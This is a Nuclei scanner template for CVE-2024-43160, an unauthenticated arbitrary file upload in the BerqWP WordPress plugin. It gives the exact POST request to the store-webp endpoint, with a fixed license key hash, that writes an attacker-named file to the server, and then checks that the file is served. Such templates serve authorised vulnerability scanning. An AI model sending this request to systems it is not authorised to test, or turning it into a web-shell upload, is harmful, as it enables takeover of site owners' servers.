id: CVE-2024-43160

info:
  name: BerqWP <= 1.7.6 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  reference:
    - https://github.com/KTN1990/CVE-2024-43160
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43160
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/searchpro/berqwp-176-unauthenticated-arbitrary-file-uplaod
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-43160
    cwe-id: CWE-434
    epss-score: 0.70155
    epss-percentile: 0.98593
  metadata:
    verified: true
    max-request: 3
    vendor: BerqWP
    product: BerqWP
    framework: wordpress
    publicwww-query: "/wp-content/plugins/searchpro"
  tags: cve,cve2024,file-upload,shell,intrusive,wp,wp-plugin,wordpress,searchpro

variables:
  filename: "{{rand_base(12)}}"
  num: "{{rand_int(10000000000, 999999999999999)}}"

flow: |
  http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/searchpro")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/optifer/v1/store-webp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        image="{{base64(num)}}"&url={{filename}}.txt&license_key_hash=d41d8cd98f00b204e9800998ecf8427e

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{num}}")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022011c9767a1ce6f6c840383b60ae82ba4c00cf45bc185bc1f1cc141b2d343916ad0221008459ef31a2e1f8f1030978ebe04276fa4c98eb15631d01c8bb7da878d535287b:922c64590222798bb761d5b6d8e72950